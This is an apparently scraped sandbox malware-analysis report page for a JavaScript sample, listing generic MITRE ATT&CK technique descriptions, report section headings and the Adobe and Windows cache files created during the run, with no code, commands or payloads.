Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3007510974140184124.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e90c57ee-50a5-4f8c-bcb4-30ddf609fcad.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7672

Windows Analysis Report
3007510974140184124.js